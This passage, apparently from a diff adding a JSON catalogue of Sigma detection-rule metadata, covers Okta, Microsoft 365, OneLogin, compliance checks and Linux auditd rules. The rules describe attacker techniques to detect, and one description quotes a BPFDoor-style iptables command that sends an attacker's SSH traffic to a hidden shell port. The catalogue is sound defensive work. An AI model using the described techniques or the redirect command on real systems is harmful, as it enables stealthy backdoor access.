"ff246f56-7f24-402a-baca-b86540e3925c", + "value": "Microsoft 365 - User Restricted from Sending Email", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/cloud-app-security/anomaly-detection-policy", + "https://docs.microsoft.com/en-us/cloud-app-security/policy-template-reference", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/microsoft365_user_restricted_from_sending_email.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1199" + ], + "creation_date": "2021/08/19", + "filename": "microsoft365_user_restricted_from_sending_email.yml", + "author": "austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "m365" + } + }, + { + "description": "Detects when an the Administrator role is assigned to an user or group.", + "uuid": "413d4a81-6c98-4479-9863-014785fd579c", + "value": "Okta Admin Role Assigned to an User or Group", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_admin_role_assigned_to_user_or_group.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Administrator roles could be assigned to users or group by other admin users." + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when a API token is created", + "uuid": "19951c21-229d-4ccb-8774-b993c3ff3c5c", + "value": "Okta API Token Created", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_created.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2021/09/12", + "filename": "okta_api_token_created.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when a API Token is revoked.", + "uuid": "cf1dbc6b-6205-41b4-9b88-a83980d2255b", + "value": "Okta API Token Revoked", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_api_token_revoked.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an application is modified or deleted.", + "uuid": "7899144b-e416-4c28-b0b5-ab8f9e0a541d", + "value": "Okta Application Modified or Deleted", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_application_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an application Sign-on Policy is modified or deleted.", + "uuid": "8f668cc4-c18e-45fe-ad00-624a981cf88a", + "value": "Okta Application Sign-On Policy Modified or Deleted", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_application_sign_on_policy_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an attempt at deactivating or resetting MFA.", + "uuid": "50e068d7-1e6b-4054-87e5-0a592c40c7e0", + "value": "Okta MFA Reset or Deactivated", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_mfa_reset_or_deactivated.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2021/09/21", + "filename": "okta_mfa_reset_or_deactivated.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "If a MFA reset or deactivated was performed by a system administrator." + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an Network Zone is Deactivated or Deleted.", + "uuid": "9f308120-69ed-4506-abde-ac6da81f4310", + "value": "Okta Network Zone Deactivated or Deleted", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_network_zone_deactivated_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_network_zone_deactivated_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an Okta policy is modified or deleted.", + "uuid": "1667a172-ed4c-463c-9969-efd92195319a", + "value": "Okta Policy Modified or Deleted", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_policy_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Okta Policies being modified or deleted may be performed by a system administrator.", + "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", + "Okta Policies modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an Policy Rule is Modified or Deleted.", + "uuid": "0c97c1d3-4057-45c9-b148-1de94b631931", + "value": "Okta Policy Rule Modified or Deleted", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_policy_rule_modified_or_deleted.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an security threat is detected in Okta.", + "uuid": "5c82f0b9-3c6d-477f-a318-0e14a1df73e0", + "value": "Okta Security Threat Detected", + "meta": { + "refs": [ + "https://okta.github.io/okta-help/en/prod/Content/Topics/Security/threat-insight/configure-threatinsight-system-log.htm", + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml" + ], + "tags": "No established tags", + "creation_date": "2021/09/12", + "filename": "okta_security_threat_detected.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when unauthorized access to app occurs.", + "uuid": "6cc2b61b-d97e-42ef-a9dd-8aa8dc951657", + "value": "Okta Unauthorized Access to App", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_unauthorized_access_to_app.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_unauthorized_access_to_app.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "User might of believe that they had access." + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an user account is locked out.", + "uuid": "14701da0-4b0f-4ee6-9c95-2ffb4e73bb9a", + "value": "Okta User Account Locked Out", + "meta": { + "refs": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/09/12", + "filename": "okta_user_account_locked_out.yml", + "author": "Austin Songer @austinsonger", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "okta" + } + }, + { + "description": "Detects when an user assumed another user account.", + "uuid": "62fff148-278d-497e-8ecd-ad6083231a35", + "value": "OneLogin User Assumed Another User", + "meta": { + "refs": [ + "https://developers.onelogin.com/api-docs/1/events/event-resource", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_assumed_another_user.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/10/12", + "filename": "onelogin_assumed_another_user.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "onelogin" + } + }, + { + "description": "Detects when an user account is locked or suspended.", + "uuid": "a717c561-d117-437e-b2d9-0118a7035d01", + "value": "OneLogin User Account Locked", + "meta": { + "refs": [ + "https://developers.onelogin.com/api-docs/1/events/event-resource/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/onelogin/onelogin_user_account_locked.yml" + ], + "tags": [ + "attack.impact" + ], + "creation_date": "2021/10/12", + "filename": "onelogin_user_account_locked.yml", + "author": "Austin Songer @austinsonger", + "level": "low", + "falsepositive": [ + "System may lock or suspend user accounts." + ], + "logsource.category": "No established category", + "logsource.product": "onelogin" + } + }, + { + "description": "Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts.\nSigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.\n", + "uuid": "1a395cbc-a84a-463a-9086-ed8a70e573c7", + "value": "Default Credentials Usage", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://community.qualys.com/docs/DOC-6406-reporting-toolbox-focused-search-lists", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/default_credentials_usage.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/26", + "filename": "default_credentials_usage.yml", + "author": "Alexandr Yampolskyi, SOC Prime", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "qualys" + } + }, + { + "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels.\nEnsure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.\n", + "uuid": "d7fb8f0e-bd5f-45c2-b467-19571c490d7e", + "value": "Cleartext Protocol Usage", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/firewall_cleartext_protocols.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/26", + "filename": "firewall_cleartext_protocols.yml", + "author": "Alexandr Yampolskyi, SOC Prime, Tim Shelton", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "firewall", + "logsource.product": "No established product" + } + }, + { + "description": "Configure systems to issue a log entry and alert when an account is added to or removed from any group assigned administrative privileges.\nSigma detects\nEvent ID 4728 indicates a \u2018Member is added to a Security Group\u2019.\nEvent ID 4729 indicates a \u2018Member is removed from a Security enabled-group\u2019 .\nEvent ID 4730 indicates a \u2018Security Group is deleted\u2019.\nThe case is not applicable for Unix OS.\nSupported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019, Windows Server 2000, Windows 2003 and XP.\n", + "uuid": "9cf01b6c-e723-4841-a868-6d7f8245ca6e", + "value": "Group Modification Logging", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/group_modification_logging.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/26", + "filename": "group_modification_logging.yml", + "author": "Alexandr Yampolskyi, SOC Prime", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.", + "uuid": "6b2066c8-3dc7-4db7-9db0-6cc1d7b0dde9", + "value": "Host Without Firewall", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/host_without_firewall.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/19", + "filename": "host_without_firewall.yml", + "author": "Alexandr Yampolskyi, SOC Prime", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "qualys" + } + }, + { + "description": "Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels\nEnsure that an encryption is used for all sensitive information in transit.\nEnsure that an encrypted channels is used for all administrative account access.\n", + "uuid": "7e4bfe58-4a47-4709-828d-d86c78b7cc1f", + "value": "Cleartext Protocol Usage", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/26", + "filename": "netflow_cleartext_protocols.yml", + "author": "Alexandr Yampolskyi, SOC Prime", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "No established product" + } + }, + { + "description": "Automatically lock workstation sessions after a standard period of inactivity.\nThe case is not applicable for Unix OS. Supported OS - Windows 2008 R2 and 7, Windows 2012 R2 and 8.1, Windows 2016 and 10 Windows Server 2019.\n", + "uuid": "411742ad-89b0-49cb-a7b0-3971b5c1e0a4", + "value": "Locked Workstation", + "meta": { + "refs": [ + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4800", + "https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/workstation_was_locked.yml" + ], + "tags": "No established tags", + "creation_date": "2019/03/26", + "filename": "workstation_was_locked.yml", + "author": "Alexandr Yampolskyi, SOC Prime", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell.", + "uuid": "e74e15cc-c4b6-4c80-b7eb-dfe49feb7fe9", + "value": "Edit of .bash_profile and .bashrc", + "meta": { + "refs": [ + "MITRE Attack technique T1156; .bash_profile and .bashrc. ", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_alter_bash_profile.yml" + ], + "tags": [ + "attack.s0003", + "attack.persistence", + "attack.t1546.004" + ], + "creation_date": "2019/05/12", + "filename": "lnx_auditd_alter_bash_profile.yml", + "author": "Peter Matkovski", + "level": "medium", + "falsepositive": [ + "Admin or User activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to record audio with arecord utility", + "uuid": "a7af2487-9c2f-42e4-9bb9-ff961f0561d5", + "value": "Audio Capture", + "meta": { + "refs": [ + "https://linux.die.net/man/1/arecord", + "https://linuxconfig.org/how-to-test-microphone-with-audio-linux-sound-architecture-alsa", + "https://attack.mitre.org/techniques/T1123/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_audio_capture.yml" + ], + "tags": [ + "attack.collection", + "attack.t1123" + ], + "creation_date": "2021/09/04", + "filename": "lnx_auditd_audio_capture.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detect changes in auditd configuration files", + "uuid": "977ef627-4539-4875-adf4-ed8f780c4922", + "value": "Auditing Configuration Changes on Linux Host", + "meta": { + "refs": [ + "https://github.com/Neo23x0/auditd/blob/master/audit.rules", + "Self Experience", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.006" + ], + "creation_date": "2019/10/25", + "filename": "lnx_auditd_auditing_config_change.yml", + "author": "Mikhail Larin, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware.\nThis rule detect using dd and truncate to add a junk data to file.\n", + "uuid": "c52a914f-3d8b-4b2a-bb75-b3991e75f8ba", + "value": "Binary Padding", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_binary_padding.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027.001" + ], + "creation_date": "2020/10/13", + "filename": "lnx_auditd_binary_padding.yml", + "author": "Igor Fits, oscd.community", + "level": "high", + "falsepositive": [ + "Legitimate script work" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "detects BPFDoor .lock and .pid files access in temporary file storage facility", + "uuid": "808146b2-9332-4d78-9416-d7e47012d83d", + "value": "BPFDoor Abnormal Process ID or Lock File Accessed", + "meta": { + "refs": [ + "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", + "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_file_accessed.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106", + "attack.t1059" + ], + "creation_date": "2022/08/10", + "filename": "lnx_auditd_bpfdoor_file_accessed.yml", + "author": "Rafal Piasecki", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392'\nThe traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.\n", + "uuid": "70b4156e-50fc-4523-aa50-c9dddf1993fc", + "value": "Bpfdoor TCP Ports Redirect", + "meta": { + "refs": [ + "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/", + "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_port_redirect.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ], + "creation_date": "2022/08/10", + "filename": "lnx_auditd_bpfdoor_port_redirect.yml", + "author": "Rafal Piasecki", + "level": "medium", + "falsepositive": [ + "Legitimate ports redirect" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.", + "uuid": "fe10751f-1995-40a5-aaa2-c97ccb4123fe", + "value": "Linux Capabilities Discovery", + "meta": { + "refs": [ + "https://man7.org/linux/man-pages/man8/getcap.8.html", + "https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/", + "https://mn3m.info/posts/suid-vs-capabilities/", + "https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml" + ], + "tags": [ + "attack.collection", + "attack.privilege_escalation", + "attack.t1123", + "attack.t1548" + ], + "creation_date": "2021/11/28", + "filename": "lnx_auditd_capabilities_discovery.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detect file time attribute change to hide new or changes to existing files.", + "uuid": "b3cec4e7-6901-4b0d-a02d-8ab2d8eb818b", + "value": "File Time Attribute Change", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_change_file_time_attr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.006" + ], + "creation_date": "2020/10/15", + "filename": "lnx_auditd_change_file_time_attr.yml", + "author": "Igor Fits, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects removing immutable file attribute.", + "uuid": "a5b977d6-8a81-4475-91b9-49dbfcd941f7", + "value": "Remove Immutable File Attribute", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1222.002" + ], + "creation_date": "2019/09/23", + "filename": "lnx_auditd_chattr_immutable_removal.yml", + "author": "Jakob Weinzettl, oscd.community", + "level": "medium", + "falsepositive": [ + "Administrator interacting with immutable files (e.g. for instance backups)." + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", + "uuid": "214e7e6c-f21b-47ff-bb6f-551b2d143fcf", + "value": "Clipboard Collection with Xclip Tool", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1115/", + "https://linux.die.net/man/1/xclip", + "https://www.cyberciti.biz/faq/xclip-linux-insert-files-command-output-intoclipboard/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2021/09/24", + "filename": "lnx_auditd_clipboard_collection.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate usage of xclip tools" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", + "uuid": "f200dc3f-b219-425d-a17e-c38467364816", + "value": "Clipboard Collection of Image Data with Xclip Tool", + "meta": { + "refs": [ + "https://attack.mitre.org/techniques/T1115/", + "https://linux.die.net/man/1/xclip", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_image_collection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1115" + ], + "creation_date": "2021/10/01", + "filename": "lnx_auditd_clipboard_image_collection.yml", + "author": "Pawel Mazur", + "level": "low", + "falsepositive": [ + "Legitimate usage of xclip tools" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects command line parameter very often used with coin miners", + "uuid": "071d5e5a-9cef-47ec-bc4e-a42e34d8d0ed", + "value": "Possible Coin Miner CPU Priority Param", + "meta": { + "refs": [ + "https://xmrig.com/docs/miner/command-line-options", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_coinminer.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2021/10/09", + "filename": "lnx_auditd_coinminer.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Other tools that use a --cpu-priority flag" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", + "uuid": "759d0d51-bc99-4b5e-9add-8f5b2c8e7512", + "value": "Creation Of An User Account", + "meta": { + "refs": [ + "MITRE Attack technique T1136; Create Account ", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_create_account.yml" + ], + "tags": [ + "attack.t1136.001", + "attack.persistence" + ], + "creation_date": "2020/05/18", + "filename": "lnx_auditd_create_account.yml", + "author": "Marie Euler", + "level": "medium", + "falsepositive": [ + "Admin activity" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing\nrequired to trigger the heap-based buffer overflow.\n", + "uuid": "5ee37487-4eb8-4ac2-9be1-d7d14cdc559f", + "value": "CVE-2021-3156 Exploitation Attempt", + "meta": { + "refs": [ + "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "cve.2021.3156" + ], + "creation_date": "2021/02/01", + "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects exploitation attempt of vulnerability described in CVE-2021-3156.\nAlternative approach might be to look for flooding of auditd logs due to bruteforcing.\nrequired to trigger the heap-based buffer overflow.\n", + "uuid": "b9748c98-9ea7-4fdb-80b6-29bed6ba71d2", + "value": "CVE-2021-3156 Exploitation Attempt", + "meta": { + "refs": [ + "https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068", + "cve.2021.3156" + ], + "creation_date": "2021/02/01", + "filename": "lnx_auditd_cve_2021_3156_sudo_buffer_overflow_brutforce.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "Detects exploitation attempt of vulnerability described in CVE-2021-4034.", + "uuid": "40a016ab-4f48-4eee-adde-bbf612695c53", + "value": "CVE-2021-4034 Exploitation Attempt", + "meta": { + "refs": [ + "https://github.com/berdav/CVE-2021-4034", + "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034", + "https://access.redhat.com/security/cve/CVE-2021-4034", + "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_cve_2021_4034.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1068" + ], + "creation_date": "2022/01/27", + "filename": "lnx_auditd_cve_2021_4034.yml", + "author": "Pawel Mazur", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "linux" + } + }, + { + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", + "uuid": "a3b5e3e9-1b49-4119-8b8e-0344a01f21ee", + "value": "Data Compressed", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", + 